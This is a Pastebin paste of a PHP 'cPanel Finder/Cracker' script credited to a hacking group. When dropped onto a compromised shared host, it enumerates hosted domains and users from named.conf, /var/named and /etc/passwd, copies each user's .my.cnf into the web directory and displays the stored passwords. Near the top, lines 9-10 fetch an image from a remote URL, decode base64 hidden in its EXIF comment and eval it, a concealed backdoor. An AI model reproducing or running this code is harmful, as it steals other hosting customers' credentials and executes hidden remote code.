src1pt

Auto Crack Cpanel 2016 (Auto Get Cpanel)

Oct 28th, 2015
3,502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.31 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @author: FaisaL Ahmed aka rEd X
  4.  * @Screenshot: http://prntscr.com/7c1p34
  5.  * @Last Updated: 01 June 2015
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  10. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  11. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  12.     $ar0=explode($marqueurDebutLien, $text);
  13.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  14.     return trim($ar1[0]);
  15. }
  16.  
  17. echo '<html><head>
  18. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  19. <meta content="text/html; charset=utf-8">
  20. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  21. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  22. <meta name="author" content="rEd X" />
  23. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  24. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  25. <link rel="stylesheet" type="text/css" href="http://faialahmad.me/wp-content/assets/css/1.css">
  26. </head><body>';
  27. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  28.  
  29. echo "<center>";
  30. $d0mains = @file('/etc/named.conf');
  31. $domains = scandir("/var/named");
  32.  
  33. if ($domains or $d0mains)
  34. {
  35.     $domains = scandir("/var/named");
  36.     if($domains) {
  37. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  38. $count=1;
  39. $dc = 0;
  40. $list = scandir("/var/named");
  41. foreach($list as $domain){
  42. if(strpos($domain,".db")){
  43. $domain = str_replace('.db','',$domain);
  44. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  45. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  46. $path = getcwd();
  47.  
  48. if (is_readable($dirz)) {
  49. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  50. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  51. $password=entre2v2($p,'password="','"');
  52. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  53. $dc++;
  54. }
  55.  
  56. }
  57. }
  58. echo '</table>';
  59. $total = $dc;
  60. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  61. echo '</center>';
  62. }else{
  63. $d0mains = @file('/etc/named.conf');
  64.     if($d0mains) {
  65. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  66. $count=1;
  67. $dc = 0;
  68. $mck = array();
  69. foreach($d0mains as $d0main){
  70.     if(@eregi('zone',$d0main)){
  71.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  72.         flush();
  73.         if(strlen(trim($domain[1][0])) >2){
  74.             $mck[] = $domain[1][0];
  75.         }
  76.     }
  77. }
  78. $mck = array_unique($mck);
  79. $usr = array();
  80. $dmn = array();
  81. foreach($mck as $o) {
  82.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  83.     $usr[] = $infos['name'];
  84.     $dmn[] = $o;
  85. }
  86. array_multisort($usr,$dmn);
  87. $dt = file('/etc/passwd');
  88. $passwd = array();
  89. foreach($dt as $d) {
  90.     $r = explode(':',$d);
  91.     if(strpos($r[5],'home')) {
  92.         $passwd[$r[0]] = $r[5];
  93.     }
  94. }
  95. $l=0;
  96. $j=1;
  97. foreach($usr as $r) {
  98. $dirz = '/home/'.$r.'/.my.cnf';
  99. $path = getcwd();
  100. if (is_readable($dirz)) {
  101. copy($dirz, ''.$path.'/'.$r.'.txt');
  102. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  103. $password=entre2v2($p,'password="','"');
  104. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  105. $dc++;
  106.                 flush();
  107.                 $l=$l?0:1;
  108.                 $j++;
  109.                 }
  110.             }
  111.             }
  112. echo '</table>';
  113. $total = $dc;
  114. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  115. echo '</center>';
  116.  
  117. }
  118. }else{
  119. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  120. }
  121.  
  122. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  123. echo "</body></html>";
  124. ?>
Advertisement
Add Comment
Please, Sign In to add comment